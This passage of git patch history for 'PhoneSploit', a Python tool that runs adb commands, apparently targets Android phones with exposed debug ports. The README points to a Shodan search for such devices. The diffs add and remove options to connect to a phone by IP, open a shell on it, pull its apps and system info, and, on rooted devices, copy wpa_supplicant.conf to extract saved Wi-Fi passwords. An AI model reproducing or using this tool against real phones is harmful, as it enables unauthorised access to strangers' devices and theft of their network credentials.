Mac/Inet +{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info {0}[{1}19{0}]{2} Extract apk from app +{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone {0}[{1}20{0}]{2} Get Battery Status +{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app {0}[{1}21{0}]{2} NetStat {0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear @@ -110,6 +110,7 @@ def main(): elif option == '2': os.system("adb disconnect") elif option == '3': + os.system("adb tcpip 5555") print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") @@ -211,12 +212,61 @@ def main(): forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) + elif option == '17': + try: + print ("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + print (Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE) + print(" "+connect) + print (" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") + os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) + except KeyboardInterrupt: + main() + + elif option == '18': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell ip address show wlan0") + main() + + elif option == '19': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell pm path "+package_name) + print(" "+connect) + print (" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE) + path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print(" "+connect) + print(" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+" pull "+path+" "+location) + main() + + elif option == '20': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell dumpsys battery") + main() + + elif option == '21': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell netstat") + main() + + elif option == '0': os.system('cls') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message + elif option == '99': exit() @@ -227,12 +277,15 @@ def main(): #============================= # Run -os.chdir(CurrentDir+"//adb") -print (Fore.RED + "Starting adb server..") -os.system("adb tcpip 5555") -t.sleep(4) -os.system('cls') -banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) -print Fore.RED + banner_title -print message -ColoringModeStartup() +try: + os.chdir(CurrentDir+"//adb") + print (Fore.RED + "Starting adb server..") + os.system("adb tcpip 5555") + t.sleep(4) + os.system('cls') + banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) + print Fore.RED + banner_title + print message + ColoringModeStartup() +except KeyboardInterrupt: + main() \ No newline at end of file diff --git a/main_linux.py b/main_linux.py index bac0ecf..e83ea61 100644 --- a/main_linux.py +++ b/main_linux.py @@ -105,10 +105,11 @@ def main(): option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - os.system("adb devices -l") + os.system("adb devices -l") elif option == '2': os.system("adb disconnect") elif option == '3': + os.system("adb tcpip 5555") print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") @@ -210,12 +211,61 @@ def main(): forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) + elif option == '17': + try: + print ("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + print (Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE) + print(" "+connect) + print (" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") + os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) + except KeyboardInterrupt: + main() + + elif option == '18': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell ip address show wlan0") + main() + + elif option == '19': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print(" "+connect) + print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) + package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s "+device_name+" shell pm path "+package_name) + print(" "+connect) + print (" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE) + path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + print(" "+connect) + print(" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE) + location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+" pull "+path+" "+location) + main() + + elif option == '20': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell dumpsys battery") + main() + + elif option == '21': + print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") + os.system("adb -s " +device_name+ " shell netstat") + main() + + elif option == '0': - os.system('clear') + os.system('cls') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message + elif option == '99': exit() @@ -223,7 +273,6 @@ def main(): main() - #============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) From 6c00adf457b7858dc93e82927e1a4930a74af4f4 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 22:24:09 -0700 Subject: [PATCH 21/36] Add files via upload --- main_linux.py | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/main_linux.py b/main_linux.py index e83ea61..7013d18 100644 --- a/main_linux.py +++ b/main_linux.py @@ -1,4 +1,4 @@ -# coding: latin-1 +#-*- coding: utf-8 -*- #Coded By Zucccs # Enjoy @@ -7,10 +7,14 @@ #============================= #Imports import os +import sys import random import time as t from colorama import Fore, init +reload(sys) +sys.setdefaultencoding("utf-8") + #============================= # Variables CurrentDir = os.path.dirname(os.path.abspath(__file__)) @@ -42,8 +46,9 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE -connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE +arrow = Fore.RED + " └──>".decode("utf-8").strip() + Fore.WHITE +arrow = str(arrow) +connect = Fore.RED + "│".decode("utf-8").strip() + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ @@ -111,12 +116,12 @@ def main(): elif option == '3': os.system("adb tcpip 5555") print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) - ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") + ip = raw_input (" "+arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") elif option == '4': print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") + device_name = raw_input((arrow) + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell") elif option == '5': From fe0e842b12dc83c3d8ee8b59c8475db9e81bb27a Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 22:25:52 -0700 Subject: [PATCH 22/36] Add files via upload --- main.py | 81 +++++++++------------------------------------------ main_linux.py | 70 +++++--------------------------------------- 2 files changed, 22 insertions(+), 129 deletions(-) diff --git a/main.py b/main.py index 3f7e08e..b711ee6 100644 --- a/main.py +++ b/main.py @@ -92,11 +92,11 @@ def ColoringModeStartup(): oNMm- -mMNs''' message = '''\n -{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}17{0}]{2} Grab wpa_supplicant -{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device {0}[{1}18{0}]{2} Show Mac/Inet -{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info {0}[{1}19{0}]{2} Extract apk from app -{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone {0}[{1}20{0}]{2} Get Battery Status -{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app {0}[{1}21{0}]{2} NetStat +{0}[{1}1{0}] {2}Show Connected Devices {0}[{1}6{0}] {2}Screen record a phone {0}[{1}11{0}] {2}Uninstall an app {0}[{1}16{0}]{2} Port Forwarding +{0}[{1}2{0}] {2}Disconect all devices {0}[{1}7{0}] {2}Screen Shot a picture on a phone {0}[{1}12{0}] {2}Show real time log of device +{0}[{1}3{0}] {2}Connect a new phone {0}[{1}8{0}] {2}Restart Server {0}[{1}13{0}] {2}Dump System Info +{0}[{1}4{0}] {2}Access Shell on a phone {0}[{1}9{0}] {2}Pull folders from phone to pc {0}[{1}14{0}] {2}List all apps on a phone +{0}[{1}5{0}] {2}Install an apk on a phone {0}[{1}10{0}] {2}Turn The Device off {0}[{1}15{0}] {2}Run an app {0}[{1}99{0}] {2}Exit {0}[{1}0{0}] {2}Clear @@ -110,7 +110,6 @@ def main(): elif option == '2': os.system("adb disconnect") elif option == '3': - os.system("adb tcpip 5555") print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") @@ -212,61 +211,12 @@ def main(): forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) - elif option == '17': - try: - print ("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") - print (Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE) - print(" "+connect) - print (" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE) - location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") - os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) - except KeyboardInterrupt: - main() - - elif option == '18': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell ip address show wlan0") - main() - - elif option == '19': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) - package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell pm path "+package_name) - print(" "+connect) - print (" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE) - path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - print(" "+connect) - print(" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE) - location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+" pull "+path+" "+location) - main() - - elif option == '20': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell dumpsys battery") - main() - - elif option == '21': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell netstat") - main() - - elif option == '0': os.system('cls') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message - elif option == '99': exit() @@ -277,15 +227,12 @@ def main(): #============================= # Run -try: - os.chdir(CurrentDir+"//adb") - print (Fore.RED + "Starting adb server..") - os.system("adb tcpip 5555") - t.sleep(4) - os.system('cls') - banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) - print Fore.RED + banner_title - print message - ColoringModeStartup() -except KeyboardInterrupt: - main() \ No newline at end of file +os.chdir(CurrentDir+"//adb") +print (Fore.RED + "Starting adb server..") +os.system("adb tcpip 5555") +t.sleep(4) +os.system('cls') +banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) +print Fore.RED + banner_title +print message +ColoringModeStartup() diff --git a/main_linux.py b/main_linux.py index 7013d18..bac0ecf 100644 --- a/main_linux.py +++ b/main_linux.py @@ -1,4 +1,4 @@ -#-*- coding: utf-8 -*- +# coding: latin-1 #Coded By Zucccs # Enjoy @@ -7,14 +7,10 @@ #============================= #Imports import os -import sys import random import time as t from colorama import Fore, init -reload(sys) -sys.setdefaultencoding("utf-8") - #============================= # Variables CurrentDir = os.path.dirname(os.path.abspath(__file__)) @@ -46,9 +42,8 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + " └──>".decode("utf-8").strip() + Fore.WHITE -arrow = str(arrow) -connect = Fore.RED + "│".decode("utf-8").strip() + Fore.WHITE +arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE +connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ @@ -110,18 +105,17 @@ def main(): option = raw_input(Fore.WHITE + "phonesploit"+Fore.RED + "(main_menu) "+Fore.WHITE + "> ") if option == '1': - os.system("adb devices -l") + os.system("adb devices -l") elif option == '2': os.system("adb disconnect") elif option == '3': - os.system("adb tcpip 5555") print ("\n[{0}+{1}] Enter a phones ip address.").format(Fore.RED, Fore.WHITE) - ip = raw_input (" "+arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") + ip = raw_input (arrow+" phonesploit"+Fore.RED + "(connect_phone) "+Fore.WHITE + "> ") os.system("adb connect "+ip+":5555") elif option == '4': print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input((arrow) + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") + device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(shell_on_phone) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" shell") elif option == '5': @@ -216,61 +210,12 @@ def main(): forward_port = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(port_forward) "+Fore.WHITE + "> ") os.system("adb -s "+device_name+" forward tcp:"+port_device+" tcp:"+forward_port) - elif option == '17': - try: - print ("[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") - print (Fore.WHITE + " [{0}+{1}]{1}THE DEVICE NEEDS TO BE ROOTED TO CONTINUE TO EXIT USE CTRL +C").format(Fore.RED, Fore.WHITE) - print(" "+connect) - print (" [{0}+{1}]Enter where you want the file to be saved.").format(Fore.RED, Fore.WHITE) - location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(wpa_grab) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell "+"su -c 'cp /data/misc/wifi/wpa_supplicant.conf /sdcard/'") - os.system("adb -s "+device_name+" pull /sdcard/wpa_supplicant.conf "+location) - except KeyboardInterrupt: - main() - - elif option == '18': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(mac_inet) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell ip address show wlan0") - main() - - elif option == '19': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - print(" "+connect) - print (" [{0}+{1}]Enter a package name. They look like this --> com.snapchat.android").format(Fore.RED, Fore.WHITE) - package_name = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - os.system("adb -s "+device_name+" shell pm path "+package_name) - print(" "+connect) - print (" [{0}+{1}]Enter The path.looks like this /data/app/com.snapchat.android-qWgDcBiCEvANq6op_NPqeA==/base.apk").format(Fore.RED, Fore.WHITE) - path = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - print(" "+connect) - print(" [{0}+{1}]Enter The location to store the apk: ") .format(Fore.RED, Fore.WHITE) - location = raw_input(" "+arrow + "phonesploit"+Fore.RED + "(pull_apk) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+" pull "+path+" "+location) - main() - - elif option == '20': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(battery) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell dumpsys battery") - main() - - elif option == '21': - print ("\n[{0}+{1}]Enter a device name.").format(Fore.RED, Fore.WHITE) - device_name = raw_input(arrow + "phonesploit"+Fore.RED + "(net_stat) "+Fore.WHITE + "> ") - os.system("adb -s " +device_name+ " shell netstat") - main() - - elif option == '0': - os.system('cls') + os.system('clear') banner_title = random.choice([logo_design_1,logo_design_2,logo_design_3,logo_design_4]) print Fore.RED + banner_title print message - elif option == '99': exit() @@ -278,6 +223,7 @@ def main(): main() + #============================= # Run yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) From 7a6d6d21fec41bfc2cd83e0fdfc3d4bb54cbb761 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 22:28:22 -0700 Subject: [PATCH 23/36] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 72612fb..767cfd3 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ +#Recent News +
An Update is coming along with some new options + # PhoneSploit Using open Adb ports we can exploit a device
you can find open ports here https://www.shodan.io/search?query=android+debug+bridge+product%3A”Android+Debug+Bridge” From ff075d4f9f58cce107194381a84c85717031b0b0 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Sun, 2 Jun 2019 22:28:34 -0700 Subject: [PATCH 24/36] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 767cfd3..6b39e8a 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -#Recent News +# Recent News
An Update is coming along with some new options # PhoneSploit From e1d73f77ff2af8feba8b872dbcdeb7875e578178 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 13:29:10 -0700 Subject: [PATCH 25/36] Update main_linux.py --- main_linux.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/main_linux.py b/main_linux.py index bac0ecf..45b1745 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,8 +42,9 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + " └──>".decode("utf-8") + Fore.WHITE -connect = Fore.RED + "│".decode("utf-8") + Fore.WHITE +arrow = Fore.RED + " └──>".decode("utf-8").strip() + Fore.WHITE +arrow = str(arrow) +connect = Fore.RED + "│".decode("utf-8").strip() + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ From 1cf5747bb314c741626c2d670aa235ce7e1164a9 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 14:33:01 -0700 Subject: [PATCH 26/36] Update README.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 6b39e8a..1b75d19 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,6 @@ # Recent News
An Update is coming along with some new options +
This update will have 9 new options! # PhoneSploit Using open Adb ports we can exploit a device From 34d239c6cedb218863bf82bafc0e91bb5495ba8a Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 14:38:44 -0700 Subject: [PATCH 27/36] Update main_linux.py --- main_linux.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/main_linux.py b/main_linux.py index 45b1745..abb9116 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,9 +42,9 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + " └──>".decode("utf-8").strip() + Fore.WHITE +arrow = Fore.RED + u' └──>'.decode("utf-8").strip() + Fore.WHITE arrow = str(arrow) -connect = Fore.RED + "│".decode("utf-8").strip() + Fore.WHITE +connect = Fore.RED + u'│'.decode("utf-8").strip() + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ From b4fc74dcbdf317baa8a4b9e6928b35cf0d1daa18 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 14:39:50 -0700 Subject: [PATCH 28/36] Update main_linux.py --- main_linux.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/main_linux.py b/main_linux.py index abb9116..efcda03 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,9 +42,9 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + u' └──>'.decode("utf-8").strip() + Fore.WHITE +arrow = Fore.RED + ' └──>'.encode("utf-8").strip() + Fore.WHITE arrow = str(arrow) -connect = Fore.RED + u'│'.decode("utf-8").strip() + Fore.WHITE +connect = Fore.RED + '│'.encode("utf-8").strip() + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ From c7a24f3027e6613c06b715bd80c718e76ea1ebc9 Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 14:41:55 -0700 Subject: [PATCH 29/36] Update main_linux.py --- main_linux.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/main_linux.py b/main_linux.py index efcda03..8d9e9ca 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,9 +42,9 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + ' └──>'.encode("utf-8").strip() + Fore.WHITE +arrow = Fore.RED + ' '-->'.encode("utf-8").strip() + Fore.WHITE arrow = str(arrow) -connect = Fore.RED + '│'.encode("utf-8").strip() + Fore.WHITE +connect = Fore.RED + '|'.encode("utf-8").strip() + Fore.WHITE logo_design_1 = (''' {0} ____ __ _____ __ _ __ From 536db5ff5603c1721701e639b2d6f165092f8f0a Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 14:43:23 -0700 Subject: [PATCH 30/36] Update main_linux.py --- main_linux.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main_linux.py b/main_linux.py index 8d9e9ca..2a98ba3 100644 --- a/main_linux.py +++ b/main_linux.py @@ -42,7 +42,7 @@ #============================= # Graphics # http://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something%20 -arrow = Fore.RED + ' '-->'.encode("utf-8").strip() + Fore.WHITE +arrow = Fore.RED + ' -->'.encode("utf-8").strip() + Fore.WHITE arrow = str(arrow) connect = Fore.RED + '|'.encode("utf-8").strip() + Fore.WHITE From 7c8da330252e939dddece6976eb366b3be0ad9ea Mon Sep 17 00:00:00 2001 From: 3 <36322593+Zucccs@users.noreply.github.com> Date: Mon, 3 Jun 2019 21:01:06 -0700 Subject: [PATCH 31/36] Update 1.2 Added 9 new options such as getting WiFi Password Removing a passcode and more! --- main.py | 419 +++++++++++++++++++++++++++++++++++++++++--------- main_linux.py | 317 ++++++++++++++++++++++++++++++++------ 2 files changed, 611 insertions(+), 125 deletions(-) diff --git a/main.py b/main.py index b711ee6..81ccd31 100644 --- a/main.py +++ b/main.py @@ -6,9 +6,11 @@ #============================= #Imports + import os import random -import time as t +import urllib2 +import time as t from colorama import Fore, init #============================= @@ -18,38 +20,39 @@ #============================= #Install Functions -def ColoringModeStartup(): - coloring_file = open(CurrentDir+"\\install\\coloring.txt", "a+") - line = open(CurrentDir+"\\install\\coloring.txt", "a+").readline() - if 'true' in line: - init(convert=True) - main() - if 'false' in line: - windows=False - main() - if "NOT_LOADED" in line: - platform_choice = raw_input("Are you loading this script in (W)indows or (L)inux: ") - open(CurrentDir+"\\install\\coloring.txt", "w").close() - if platform_choice.lower() == 'w': - coloring_file.write("true") - else: - coloring_file.write("false") - yn = raw_input(Fore.WHITE + "Have you already installed adb via command line "+Fore.GREEN + "Y"+Fore.WHITE+"/"+Fore.RED+"N "+Fore.WHITE) - if yn == "n": - os.system("sudo apt install adb") - else: - main() +# def ColoringModeStartup(): +# coloring_file = open(CurrentDir+"\\install\\coloring.txt", "a+") +# line = open(CurrentDir+"\\install\\coloring.txt", "a+").readline() +# if 'true' in line: +# init(convert=True) +# main() +# if 'false' in line: +# windows=False +# main() +# if "NOT_LOADED" in line: +# platform_choice = raw_input("Are you loading this script in (W)indows or 